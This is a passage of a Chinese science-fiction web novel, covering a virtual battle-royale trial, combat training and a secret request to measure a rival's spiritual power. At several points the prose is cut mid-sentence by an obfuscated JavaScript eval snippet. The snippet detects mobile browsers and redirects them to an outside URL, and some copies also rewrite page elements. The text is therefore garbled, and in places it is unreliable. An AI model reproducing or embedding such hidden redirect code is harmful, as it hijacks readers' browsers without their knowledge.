颜惜手里握着轻剑，将刀刃狠狠没入树干之中，反身踩在露在外面的、尚还在摇晃着的剑柄上，借力跳上了巨木，同时手腕一转反手拔出了刀。整套动作行云流水，没有一丝的卡顿。 借着浓密的树叶，颜惜很好的隐匿了自己的身形，同时又可以站在高处观察远方的情况。 就在颜惜上树片刻，耳机里就传来了电子机械女声的播报： “已出局人数，4。 场上剩余人数，96。” 这么快吗？颜惜冒汗。 节奏很快啊。 毕竟，距离落地到现在，也只不过一分钟。 颜惜呆在原地没动。 毕竟这不是正式的联赛，因此晋级并不是唯一的评判标准，如果在作战期间有亮眼的表现，也会是很大的加分项，系统会进行加权评级。但颜惜并不贪图这个表现分，因为她怕自己还没表现先被钉死在耻辱柱上。 颜惜摘下来了一只耳机，留下一直戴在右耳上。右耳听着耳机里不断传出的一声又一声的出局播报，同时留意着周围的动静。 100人已经减少到72人了。 速度真快啊，颜惜再次感慨。 颜惜之前以为她所处的地方是一小片茂密的森林，直到登上树之后才发现前方是一片草原，其间零零散散分布着几棵参天大树。从这里望过去，视野极好。进可攻退可守，前方如果来人也是一目了然。 时间来到14分钟。 颜惜看向前方的旷野——来人了。 不过目前颜惜尚还不慌张，因为…… 来人速度极快，不过几秒时间人影就快速挪近，同时右手手持一管重型粒子炮，炮口指向的是颜惜斜前方方位一颗同样枝繁叶茂的大树。 重型热兵.器虽然在灵活性上不及其他轻便的武器，但是在威力和射程上绝对是其他武器无法企及的。 树叶晃动与摩梭的声响，全都被重型火 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376693|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炮疯狂扫射的声音盖了过去。目之所及全部是晃目的火光以及肆意呼啸而过的一枚枚灼烧的通红的炮弹。 颜惜都能感受到灼热的风从她鬓边窜过。但是她等了那么多年，最多的就是耐心，因此依旧一动不动地趴在树干上。 热武.器的优点在此刻完全体现。 一个黑影从重重火力覆盖的区域之下翻滚了出来。 “怪不得。”颜惜低声嘟囔道。 原先躲在树后的那个人手中赫然拿着一块树皮，只不过他将所有的精神力全部附着到树皮的背后一侧，增强了树皮的坚韧程度，大大改变了原有属性。 这玩意儿挡不了重型的炮弹，但是完全可以阻挡飞溅起来的碎屑，保障了自己最大程度不受严重的伤。刚才颜惜看他通过对炮弹的轨迹预判躲过了落点，同时他恰恰是拿着这玩意儿挡住了其他残渣。 “陆洋！”那个人扔掉了手中那块已经变得破破烂烂的树皮，热情洋溢地向那个手持火炮的女生大声打招呼，“没想到居然和你分到了一组，真的是好不巧啊！” 那个叫“陆洋”的女生神色没有任何波动，对准那人的方向又是猛然发射出一串炮弹。 这次和上次的炮弹完全不同了，颜惜肉眼可以观察到炮弹在空中转了个弯，向着往另一边躲避的男生那边飞去。 精神力附着在上面啊。颜惜斜靠在树上，思忖道。利用精神力的附着在一瞬间改变弹道轨迹，让炮弹可以追踪目标人物。这样的控制能力，属实是一流。 那男生终于一把抓住了自己领口上那个压缩空间勋章，下一秒从其中掏出了一柄没有伞面的铁骨伞。 他猛地撑起伞，将没有伞面的伞对准了朝他面门飞驰而来的炮弹。 “劈里啪啦”几声，炮弹像是触碰到了什么东西似的，缓缓落在了地上。 颜惜不知道这伞的制作原理，但知道那人肯定是将精神力附着在伞骨之上充当了伞面，而后抵挡住了炮弹。 这两人……精神力运用能力还有精神力强度都很高啊。 “陆洋！”那个男生一脸笑容地看向陆洋，“啪”的一声收起了自己的伞，五根伞骨恰好嵌进了伞柄之中，变成了一根标枪状的东西，“一个暑假没见，你的脾气还是那么的爆，实力也还是那么的——” “——糟糕。” 他故意拖长了尾音，语气很是欠。 颜惜想如果自己是那个女生恐怕早已暴起劈人了。 火光照亮的陆洋的脸，她那张素净的脸上还是一丝表情都没有，但是开口说话了：“没必要激怒我，柯里尔。我知道你很强，我是专门来找你的，没必要对我油嘴滑舌。” 柯里尔和陆洋。颜惜终于想起这两位是谁了。 第一军校大三的两位最强，打得有来有回，听说两人角逐年级第一位置的战争从刚入学就开始了。年级第一的宝座不是属于柯里尔就是属于陆洋。 好家伙，这是分到了什么个神仙打架训练场。颜惜嘴角抽了抽。 9. 倒霉小惜 此地不宜久留啊，颜惜叹了口气，刚才对于这两人来说大约只是开胃菜，这两位真要打起来，恐怕这一整片都要被夷为平地。 颜惜只是想苟过这次选拔，不想沦为这些筋肉少年打架的无辜波及受害者。 可是生活总是要事与愿违。 就在颜惜脚底抹油准备开溜时，一个欠欠的声音从后方传来。 “喂，那位学妹，一起玩玩嘛，那么急着走，不好吧？” 颜惜心里大骂一句，表面上还是笑盈盈地转回头，对着那边讪笑了一下，希望对方能放过自己。 颜惜都决定好当苟王了，开局到现在为止就没有动过，表现分约等于零。要是她现在被淘汰出局，系统给她的评分肯定垫底。 颜惜真是气笑了。 “私人恩怨我能不参与吗？”颜惜咬牙切齿道，“我真的只是想苟到最后，要点分也不容易吧？” 说罢她就偷偷屈膝跳下树，打算随时开溜。 “不行呢！”柯里尔反手封住了颜惜的去路，“你躲在这里偷看了这么久，也该活动活动了。” 颜惜忍不住骂了他一句星际脏话。 还不等柯里尔回话，一串又一串的炮弹再一次轰炸了过来。 颜惜估算了一下，自己不在射程之内，但是她绝对没有漏掉狗狗祟祟站在稍远处的柯里尔偷偷露出的那抹坏笑。 果不其然，下一秒，颜惜就看着柯里尔打开了他那把很奇怪的伞，伞面对准了陆洋的方向，在接到弹药的那一瞬间微微抖了抖，于是那些还未炸开的炮弹全部朝颜惜的方向飞了过来。 颜惜嘴角抽了抽。 身体比大脑先反应过来。颜惜闪身先躲开第一颗落在她身侧的炮弹，而后利用炮弹降落到爆炸的几秒钟绕着她的幸运树打转，躲开了紧接着落下来的第二颗、第三颗炮弹。 “没必要把无关的学妹牵扯进来吧，柯里尔。”陆洋的声线平静，声音从很远的地方传来。 “……”柯里尔看了一眼颜惜。“我说啊，陆洋，你真的觉得她是那种手无缚鸡之力的小白花？” “你看看她的专属武.器是什么。”他接着说，“那可是刀剑啊。” “哪个对自己实力没点自信的人会把冷兵.器做成专属武器啊，”他喋喋不休地说道，“就像你用的是便携式粒子炮配上短刀，我的‘伞’虽然是冷兵.器，那也是攻防一体型的好吧。单用传统攻击性强的冷武的，要么是强攻疯子，要么就是自信自己能够做到万无一失吧。” 柯里尔虽然嘴上讲话不停，但是手上动作完全不含糊。 他飞速转动伞柄，将“无伞”转为长矛形制，而后借着陆洋的炮火攻击掩藏身形，直接冲向颜惜的方向。几个瞬间，两人的距离就不到一个身位。 颜惜皱起眉头，看来这架，她是非打不可了。 她反手抽出轻剑，挽了个剑花，然后借着这股力直接反转手腕向柯里尔的方向甩去。 她给这柄轻剑取名叫“游云”，剑如其名，轻到捏在手里几乎没有什么重感。在设计这柄剑的时候，颜惜当时选择追求极致的速度，因此在重量上做了舍弃。负责铸造它的康娜·德里于是选取了韧性很好并且质量是所有稀有矿石中最轻的浮白金给她做的这柄轻剑，剑身不长不短，刚好一米出头，但是剑极薄，厚度不足一毫米。 烈烈一阵风响，伴随着是一道寒光，柯里尔根据对危险应对的第六感让他本能地侧了侧脑袋，接着就地一个翻滚闪开。 一阵突如其来的剧痛让他摸摸自己的脸，最后在右脸颊上摸到了一丝伤痕，接着鲜血急速地沁了出来。他回头一看，颜惜的剑擦着他的脸颊而过，径直没入身后的巨树，目测半截剑都没入了树干之中。 不用说也知道，柯里尔脸上的伤口很深。颜惜不按常理出牌，突然爆发把自己的武器甩了过来，哪有正常的经过正统训练的人打着打着会把武器丢出去！就算他反应快，已经躲开了剑刃本身，只是区区剑风就差点毁掉了他的半张脸。 柯里尔嗞着牙疼得直抽冷气。 “不好受吧？”颜惜笑眯眯的说道，脚下步子不停，一边避开远处陆洋弄出来的铺天盖地的炮火，一边借助被轰起来的飞扬着的枯枝落叶隐蔽身形。 大概是察觉到了自己的远程攻击不仅没有给这两人带来威胁，反而成为了两人对决的隐蔽手段之后，陆洋猛地收手，将原来的巨大炮筒几下折叠就变成了一个很小的手炮。 陆洋也被柯里尔混不吝的态度整烦了。她索性也对着颜惜出手了，打算先把她淘汰了再去管难缠的柯里尔。 颜惜暗道倒霉。 或许陆洋在精神力的运用掌握上不如柯里尔，但颜惜敢肯定的是，陆洋在武器之外的实战方面要比柯里尔好上太多，不管是力量还是速度，抑或是实战招式。 就像她所有的走位都不会有任何的偏差，而在迅速拉近距离每一次出手都能刚好封死对手的路，让整场对决的节奏完全掌握在自己的手中。 节奏在这种一对一的时候就很是重要，越是让对方跟着走，久而久之对方就会打得很难受，一点一点的，心态就会受到影响，与此同时，大脑开始慌乱，连带着全身的动作都会跟着变形。 往往这时，胜负就已经能分晓了。 很不幸，颜惜是被陆洋牵着鼻子走的那个。 颜惜闪身躲过陆洋挥出的短刀刀刃，又尝试着在躲过她的微型炮弹同时拉远了距离。 耳麦里传来的播报声间隔越来越短，现在还剩32个人留在场上。 颜惜稍稍有些分神，被陆洋抓住机会反手一刀横着劈了过来，寒芒乍现，颜惜仓促抬手拿剑格挡了一下，剑身因为相互作用力微微弯斜，卸掉了大部分的力。 但还是有一缕头发被削铁如泥的利刃剑风扫到，缓缓飘落，掉到了地上。 “啧。”颜惜狠狠皱起眉来。她看了看掉在地上的那缕微卷的黑发，哪怕是在虚拟环境下，也心疼了一下。 陆洋这种类型的对手，颜惜真的非常不擅长应付。她能伤到柯里尔，是因为刚才那下颜惜抓住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这是……颜惜知道陆洋这是想趁最后的机会把自己淘汰出去，毕竟只有最后五个人的机会，陆洋肯定不会放过在眼前触手可及的胜利。 颜惜痛苦面具了，脖颈的痛感伴随着内心的啸叫，她现在只祈求评分系统看在她那么努力的份上给她点人道主义分数。 十四个。 颜惜在心里默默数着。其实单单是和陆洋过招就已经很吃力了，还要加上一个打架时行事诡异、行踪捉摸不定的柯里尔，就更是难熬。要不是陆洋的重心放在击败柯里尔身上，说不定颜惜早就被淘汰出局了。 颜惜还能活到现在真的纯靠自己的歪门邪道的打法加上条件反射，她打法很鬼畜很刁钻，让对面两个人都很无语，但好歹跌跌爬爬地撑到了现在。 再加上自己的体能真的已经撑到了极限，动作都完全变形了。有些躲闪全是凭借潜意识作出的反应。 十三个。 颜惜抿抿嘴。 要是在这个时候出局那可就太倒霉了吧。她才不要做这个倒霉蛋子。 10. 梦境裂隙 颜惜想着搏一搏呢，就剩三个了，万一她也有机会。 游云剑顺着她的心意而动，划破空气，肉眼看去剑刃甚至已经看不见了，只剩残影。 陆洋下意识地后撤了一步，斜刺里却突然闪出了柯里尔的雨伞变形后的长矛，逼得她只好强行改变重心，在空中变换身体朝向，换了一个落脚点。 颜惜趁着空挡直接向后奔去，拉开了她与这两人的距离。 她真的拼尽全力地往这俩疯子的反方向跑去。今天碰上他，颜惜真觉得倒霉透了。 十二个。 柯里尔却罕见地没有继续发难陆洋。 下一秒，炮火一齐向颜惜的方向覆盖而去，颜惜甚至能听到无数炮弹的破空声。 她被迫停下来反身挥剑，瞄准炮弹的轨迹，强行用剑触击炮弹，然后改变它们的轨迹。 至于那种影视剧里那种直接用剑劈开子弹的画面，那是想都不用想的。一来，那样耗费的时间远远大于改变弹道的做法，剑与炮弹产生的摩擦力甚至会大幅损害剑身；二来，若是劈的不好极有可能小炮弹直接就在眼前炸开了花，危及生命。 十一个。 颜惜击落了所有炮弹。 可她的脑内危险警报却在疯狂叫嚣。 不对劲，很不对劲。柯里尔怎么可能正在这时候不动手，按照她之前和他交手时得出的结论，柯里尔此时往往会趁着炮火的掩盖，直接近身攻击。 而此时除了爆破的余响，颜惜并没有见到任何人影。 猛地一阵破风声在近处传来，好像只有咫尺之遥。颜惜猛地回头—— 她的瞳孔骤缩。 只见一根长矛已经飞到了她的眼前，距离眉心也不过只有10公分。 难怪柯里尔没有按照以往的风格出牌，难怪这次陆洋发射的炮弹如此之多，原来是算到了她躲避不及肯定会选择改变弹道的方式，在那之后炮弹落到地上会发出爆炸的巨大声响，而这些巨大分贝的杂音会极大地影响颜惜的听声辨位能力。 在这个时候柯里尔直接利用颜惜的惯性心理选择在这个恰好的时机投掷出长矛，颜惜完全察觉不到。 危机感从来都没有这么强烈。 刹那间时间好像都要被冻结了一样，一秒钟仿佛都拉成很长很长。 颜惜第一次感受到什么叫“心有余而力不足”，她想要反应过来，可是手脚都冰凉而动弹不得。 做点什么啊！内心有一个声音在大喊。 可是四肢像是完全不属于她了一样，木楞楞地僵直不动。 颜惜看着长矛锋利的尖部离她越来越近，越来越近，雪亮的寒光甚至好像可以划破她的眼睛。 “场上还剩十名学员，达成结束目标。” 就在千钧一发之际，那道提示音响了起来。 颜惜甚至感觉到了额心接触到长矛顶端的那股寒凉—— “24号训练场他，本次试练结束。” *** 颜惜从虚拟环境里登出的时候，心脏还是如擂鼓一般在剧烈地跳动。 她甚至扶着训练场的冰凉的墙狠狠摸了两把，这才消除掉那种虚幻和强烈危机带来的心悸之感。 “运气真好啊，小学妹，虽然你好像不是我们学校的。”现实世界里的柯里尔长着一头耀眼的红发，他看着站在不远处的颜惜，显然在现实里认出了她来，热情洋溢地打了个招呼，而后露出了懊恼的表情，“明明就差一点点了呢。是吧？” “是啊。”颜惜有点虚脱，甚至都没什么心思开玩笑，“差点就被淘汰了呢，谢谢你们两位手下留情。” “虽然你运气挺好，但是眼光可真差啊，”柯里尔闲话一箩筐，“怎么就看上了段迟凛这种无趣的男人。” 陆洋此时也站在不远处，擦拭着手镯上的收纳宝石。 她微微抬起眼，浅棕色的齐耳短发随着她的动作跳动了一下，茶色的瞳孔里很平淡，似乎永远翻不起什么波澜。 她深深地看了颜惜一眼。 “挺厉害的，你。” 颜惜还没来得及高兴，她就又补了一句，“作为一个新手来说。” 颜惜：…… 好嘛好嘛。 夸奖别人就不能不要加一些奇奇怪怪的限定嘛？ *** 由于侥幸晋级了，颜惜拿到了额外奖励所有晋级者的十分附加分。 但是颜惜在这场超负荷的对决之后实在是没有什么欣喜的力气了。 路上还碰到了段迟凛，他似乎想要和颜惜说些什么，但在看到颜惜一副虚脱的样子后还是没有开口，颜惜寻思算他有点颜色。 她几乎是任由季宴拖着自己回到了中央星大学的寝室，撑着酸痛到快要爆炸的肌肉和下一秒要闭上的眼睛洗漱完，连滚带爬地飞到床上，一闭眼困意就翻滚着涌了上来。 在入睡前，颜惜忽然想到了什么。 她翻了个身，立起酸疼的手臂，五指对着天花板张开，而后又虚虚一握。 “原来那个时候，就是死亡的感觉吗。”她喃喃道，而后垂下手臂，把自己卷进被子里，闭上双眼进入了梦境。 *** 梦境当然是光怪陆离的，一会儿是颜惜自己在体验一些奇怪的事。 比如说对着一只老鹰四目相对，一人一鹰一动不动地对视着，然后这场熬鹰好像在梦里持续了好几天…… 一会儿是梦境里发生了一场大爆炸，炸着炸着那些火光变成了五彩的布料，漫天撒开，然后又聚拢到一起，最后紧紧缠住颜惜，让她动弹不得。 一会儿又是颜惜魂灵出窍游离在外，看着她自己既要又要，拿着皇室给她的所谓未来太子妃身份，一边当墙头草，这件事败露，被千夫所指，星网上全是劈头盖脸的谩骂诸如：“心机女为达目的不择手段”，“好贱啊，她怎么敢的呀”，“我当时就觉得她长得茶里茶气的，非常不喜欢她，当时还有一堆人赶着上去说她长得好看呢”，“亏我当时还觉得她是个好人，不过这种不学无术的白莲又怎么会那么单纯，现在看来她果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“既然你们谁都不愿意帮我，那我就自己来。”少女无所谓的说道，信手卷着本来就有些自然微卷的黑发发尾。“反正不管最后我成什么样子，我都还是那个我。” “成功又怎么样，失败又怎么样。哪怕我死了，那也证明我跟你们这群孬种不一样。” 梦境到此“哗啦”一下子地被打破，残碎成了几千片玻璃碎片，每块碎片里都是一幕幕的过往，在纯白一片的空间里泛着刺眼的光。 *** 颜惜缓缓睁开了眼睛，视线逐渐恢复了清明。 是床头上的外置光脑响了，不知道谁找她，铃声一阵又一阵，吵得人心烦。 颜惜看了眼联系人那行上的“安德鲁·康特”，沉默了片刻，最后把光脑调到静音，看向窗外。 夕阳西下了，余晖透过窗帘撒了进来，印在地板上，仿佛是一场温柔的旧时梦境，泛着淡淡的光。 屋里撒了一片不算明亮的光。 11. 弄虚作假 颜惜最终还是带着光脑去到了寝室楼后方的一小片树林。 风静静地穿过林稍，树叶发出一阵如涛般的声响。阳光透过树叶的间隙洒下细细碎碎的光斑，随着微风缓缓摇曳。 颜惜顿了顿，站在半明半暗的光影里，最终还是曲曲手指，顺着那道讯号拨了过去。 通讯才响了几乎一秒就被接通了。 “为什么过了那么久才接通？”对面问道。 “我的室友还在寝室里，我担心她们会听见，走出来才接的电话。”颜惜回答道。其实是彻头彻尾的谎话。中央星大学宿舍的隔音很好，只是颜惜不想继续呆在宿舍里，带着刚才那个支离破碎的梦境，接起讨厌的人的电话。 “什么事？”她接着问道。 “……”对方停顿了几秒，接着那头才传来声音，“给你安排好了。之前不是让你购买了那台袖珍检测仪么。” 颜惜挑眉：“你拿那个来干什么？有那么多想要偷偷检查精神力的人？” “不多，几个而已。”对方笑了笑，然后下一秒打消掉颜惜探听的机会的念头，“抱歉，现在还不能告诉你。” “不过确实有一件要你去做的事。”对面说道，“我要你用这台仪器去检测段迟凛的精神力点数。我怀疑他谎报了精神力点数。” 颜惜气笑了：“你是精神病还是我是？段迟凛本来精神力点数就高，五感敏锐，我要是被他发现了怎么办？你甩锅甩得是干净，到时候我一个人背黑锅，我才不干呢！” 颜惜在心底暗骂了句老匹夫，这老东西不肯冒一点风险，翻进帝国的精神力检测数据库后台对他来说虽然费力但不是做不到，就是怕被抓到蛛丝马迹，所以来使唤她这个廉价劳动力。 “你不是想要一直想要进康特药业吗？”安德鲁笑了起来，“我知道你很眼馋康特家所谓的能提高精神力的方法。毕竟你辛辛苦苦给我办了那么多事，我确实可以告诉你一点小秘密。” “是真的。”安德鲁说道，“康特家确实研发出了可以提升精神力的方法。” “如果你真的能帮我把段迟凛的真实精神力检测出来，我可以友情赠送你一台提高精神力的手术。” 颜惜暗暗“啧”了一声，这老东西终于对她松了一点口风，想到这而后又笑道：“那我突然涨精神力怎么解释呢，我这个吃力不讨好的位置，你们的人有把握瞒过所有人的眼睛？” “这就不劳你担心了，颜小姐。”对面笑道，“你只需要根据我的安排来就好了。其他的事，其他三位长老也好，如何给出一个合理的解释也好，我们这边都会解决好的。” “别忘了你最开始说的。”对方又添了一句，“仅仅得到现在的东西，你就满足了吗？” “当初的你，野心可不止是这样一点。” 颜惜露出了一个夸张的、无声的笑。 风声静了，树林也不动了。 光斑静静地停驻在颜惜的眼睫之上，一动也不动。 “好。” *** 预科赛结束后，距离格林联赛的正赛有整整两个月的准备时间。 因为调剂的缘故，这期间季宴帮颜惜办理了短期走读程序，然后又说服了中央星大学的实地作战系教授接收了颜惜这个插班生。 所以两个月里，颜惜基本上都在和季宴一起上课。但是由于颜惜的零基础，所以她甚至会被特意拎到和比她小四五岁的大一新生堆里去上课。不熟的环境不熟的人，颜惜着实痛苦。 中央星大学的实地作战分理论和实践，这也是特色所在。可惜颜惜属实是一个上课精神无法集中的学生，所以理论课她基本是不会有任何收获的，除了与课堂时常几乎相同的酣眠。 只有实践课程才能用它的痛苦魅力给予颜惜清醒。 “刀都握不住吗？”武.器使用课的老师穆澜宇给颜惜一种他平等的嘲讽任何人的感觉。 “真的是养尊处优的少爷小姐们啊，家庭给你们提供了很好的条件，但也没考上第一军事大学，最后只好退而求其次来这里，很好玩吧？”教官继续输出。 “也不看看自己是个什么玩意儿，未来万一全是你们这种货色，实在想不到以后的军部体系里会是什么臭鱼烂虾。”穆教官火力依旧十足。 颜惜怀疑他对他带过的每一届学生都说过“你们是我带过的最差一届”这话，毕竟好像不管在哪里，不管教学科目是什么，老师好像都无比喜欢说这句话。 “精神力，灌进你面前的刀剑的精神力接口上，这不用我教吧？”穆教官终于停止了输出，开始他的正经教学。虽然他的正经教学，也差不都就是把教程上的复述一遍。 众人照做。 “感受到手里的刀或者剑的变化，这是说明接入成功的标志，至于接入程度有多高，这要看你们的刀剑变化程度有多高。” “不是说你精神力高，就一定能与武.器的介入程度变高，但是确实是精神念力高的人能做到的可能性越大。”穆澜宇认真起来的时候傲慢与倨傲消失了不少，只剩下了认真，“我见过的最高程度契合者是顾嘉。” 他顿了顿。 虽然这位元帅从未在民众面前露过面，但是她的名号依旧在帝国里十分响亮。 穆澜宇满意的看到学生们露出了惊异与好奇的表情，这才继续说了下去。 “她甚至能做到直接改变手中任何武.器的属性。懂吗？不仅仅是改变它的外在形状，她甚至可以让手中任何有精神力接口的物件变成自己心目中的样子，同时随意调节它的攻击范围与锋利程度。” “不过，”穆澜宇恢复了他的嘲讽模式，“你们就先算了吧，不说斩断别人的武器和飞行舰队，能把废铁劈开一道缝就算是你们的能耐了。” 这种阴阳怪气的话，颜惜是很喜欢听的，毕竟她自己也爱说，前提是如果她现在不是在正午的太阳下和其他一群人一起努力举着重达三十斤的重剑并且还要维持着精神力持续接入的状态。 现在的颜惜只想狠狠地骂他星际脏话。 穆澜宇一边说，一边走， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15376696|168381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺便用手里的轻剑柄击打在一个承受不住断开了精神力连接的同学上。 那人直接维持不住持剑姿势，手腕一软，哐当一声，重剑掉在了地上。 “作废。”穆澜宇冷漠地看着握着自己手腕的那个学生，下了判决。 颜惜余光瞟了他一眼，心里为他默哀。 据她所知，穆澜宇的一手轻剑可是他的拿手好戏，以极快的振动频率和相应的精神力控制轻剑的幅度，同时在打击时将一小部分精神力打进打击对象，从而达到一种近乎感官麻痹的状态。 颜惜在这几天通过训练稍微提升了一点体能，同时通过调节饮食增重，但是维持特定举剑姿势对她来说还是一件难事。她的臂力并没有到可以轻松举起三十斤重物的状态。 或许对其他人而言，困难的点在于如何将武器与精神力持续链接，可是颜惜的力量这块这个直接是硬伤。 于是颜惜发挥了自己偷奸耍滑的本领，偷偷挪到了教授的死角，然后用膝盖分担重剑的重量，就这么偷鸡摸狗地捱了二十分钟。 规定时间是三十分钟。 期间陆陆续续已经有大约十个人被穆澜宇抓到而后失败了。 “还有五分钟。”颜惜感觉到穆澜宇的目光落到了自己的手腕上。 颜惜相信他看到了她的投机行为，但他居然就这么转了过去，不再看这个方向一眼。 “时间到。”穆澜宇的声音传了过来。 颜惜直接任由重剑“哐”地掉在了地上。手腕酸麻的感触一路顺着手臂蔓延，直到肩胛骨。 “啧。”颜惜皱眉，甩了甩手臂。 *** 颜惜一口塞进去三个小白杏，腮帮子都鼓得有点难以咀嚼，声音有些含混不清，“说吧，你上次在你学校里想要找我说什么？” 今天又是固定的颜惜和段迟凛见面的日子，两个人难得能心平气静地坐下来好好吃一顿饭。 “什么？”段迟凛心不在焉地回答道。颜惜今天穿了件运动风无袖，段迟凛盯着她手臂上浅浅的肌肉线条愣了一下。 颜惜咽下吃的，又重复了一遍刚才的问题，不耐烦的语气已经隐隐体现出她的耐心告罄。 “当时是有想说的，不过现在已经不重要了。”段迟凛回答道，他怜悯地看了一眼颜惜，“你过不了多久就会知道了。” *** 颜惜回到熟悉的宿舍时已经是晚上十二点。 她拉开床头柜，安德鲁邮寄给她的那个袖珍检测仪一动不动地呆在逼仄的小小柜子里，根本没有被拿出来过。而明天就是颜惜和安德鲁约定好的把段迟凛的监测数据交给他的日期。 颜惜笑笑，随机按下开始检测按钮，释放出自己的精神力。那台小小的仪器数值猛地从零飙升到了最高等级，发出了不堪重负的嗡鸣声。 “啊，这可不行。”颜惜自言自语道。 不知道她做了什么，最后机器竟然缓缓将指针移向了最高档与第二档的中间值。 颜惜露出了满意的笑。 12. 辐射赛区 颜惜隔天就把那台仪器打包寄了特快给安德鲁。 安德鲁什么话也没说，颜惜也很聪明地没问。但颜惜猜测那是个他满意的结果。 颜惜没管他，戴上护腕护膝，顶着一张没什么活气的脸去上实践课。 “十公里，现在开始吧。”这是这个个子高挑的女人说的第一句话，“让我看看你们的水平。” 艾琳，星云小队第三队副队长，现在是他们的老师。 颜惜的脸皱成了苦瓜。 鬼知道长老院在三年里给她培养的都是些什么技能，甚至让她节食瘦身，本来颜惜的运动素质可以说是很不错，结果在这三年的荒废之下完全废了。 “还不开始？愣着干什么？等着我来催你？”艾琳一连串的话像小钢炮一样滚出来。 颜惜咬牙切齿地上了跑道开始跑。 毕竟在学校里里流传着艾琳魔鬼训练与魔鬼脾气的种种传闻，感觉已经成为新时代规则怪谈，颜惜觉得自己还是不要撞到她的枪口上去。 长时间没有运动，颜惜才跑了四百米，就已经感受到五脏六腑对她发出来的抗议了，腹部的角落一抽一抽得生疼，肺部吸入的空气仿佛是在挤榨肺部空间，腿甚至完全没有抬起来的力气。 在这种颜惜甚至连呼吸都困难的时刻，她的大脑反而格外的清醒冷静。 所有失去的东西都要补回来的。这个道理她明白得很深刻，这几年年里她舍弃了的东西，再捡起来会很艰难。 但是，她看着似乎是个永远也循环不到终点的跑道，如果……就真的这么算了，她确实可以不用做下去了。她大可以把自己知道的东西告诉别人，安排计划让他们行动，或许也能到达她想要的结果。 可是她要追求的完全不止这些，她想要的是，自己亲手，一步步把他们逼上绝路，一步步在她的手下被碾碎成灰尘，散碎四方，一粒不剩。 颜惜咬着牙继续向前跑去，一公里，两公里……开始麻木了……九公里，终点。 “挺强的啊。”季宴一把扶住跑过终点的颜惜，“没想到你居然能真的坚持下来。” 颜惜完全喘不过气来，好半晌等她缓过来之后，她这才气若游丝地对季宴说：“你……没看过……论坛……嘛，他们说……艾琳老师可是……会对下游同学……再加十公里的……长痛……不如……短痛……” 季宴是第三个跑完的，比颜惜早了整整十分钟。 不过此时，她转头看向了另外两个比她先跑完的人，目光若有所思。 “黑色头发的那个扑克脸男叫辛寰，银色头发的那个漂亮姐姐叫卡捷琳娜。”颜惜猜出了季宴的想法，双手撑着膝盖，缓了一会儿，这才告诉季宴他们的名字，“比你小一届哦，之前可是默默无闻的。” 毕竟颜惜收集信息的时候查看当时入学的成绩表，这两位都只是平平无奇、中等偏上，甚至进不了中央星大学的提高班。 “看来格林联赛还真是不一般呢。”颜惜不经意地感慨道。 人不可能在短时间内如此迅速地提高自己的身体素质。 是有什么难言之隐，还是说，这背后有什么必须这样做的原因。 一切不得而知。 季宴若有所思地点了点头。 *** “指挥。”通讯那头的声音冷静中透着一丝凝重，“第二小队搜寻任务全部完毕。” 段迟凛在训练的中途被这通紧急通讯给打断。 星云小队原本直属于顾嘉，总共十支队伍，是顾嘉绕开了军部和皇室，自己建立的拥有独立管辖权的精英小队，自从顾嘉和星云小队中最精良的第七小队一齐失踪后，皇室就以军部监管不利的名头把其它九支小队收编到了名下。 段迟凛花了很多年，经历了无数轮次的换血和磨练，这才终于在彻底收服了这支队伍。 他收回凝聚在他的惯用武.器上的精神力，刹那间一个无形的屏障似乎消失了，刀刃失去了原先有的冷冽和残酷质感，反而变得有些普通的感觉。 “有什么重要发现吗？”段迟凛问道。他知道星云第二小队目前正在域外实行打击星盗的行动。 “有。”对面回答道，“这次任务点mf398星这里的域外星盗完全不堪一击，连带着地下帮派也大多是些低等级通缉犯和一些浑水摸鱼的小偷小摸和混混，但是——” 段迟凛很有耐心地听着，一边打开军用光脑手环，接受查看着对面传回来的实况信息以及在域外星盗的窝点里发现的资料。 “但是在这个地方，我们竟然发现了一个空间门，这个跃迁点空间门依旧可以正常启用，但是连接着的传送通道却被中途截断了，可以判定是人为造成的。” 段迟凛看着星图上那个被标出来的空间门位置，没有说话。 “一般来说除了军事重镇和重要的基地，星盗一般不会在其他地方安装空间门的，毕竟他们没有那么多资金——可是在这个星盗势力并不猖獗的地方，不仅安装了跃迁点，之后还将其炸毁，我怀疑有很大的问题。” 段迟凛皱着眉比对了一下星图上的位置，而后神色凝重了起来。 “当然有问题。”段迟凛不慢，但是却字字清晰，“安格尔，跃迁点的生效距离最远是多少？” “1000公里。”星云小队第二队队长安格尔回答道。 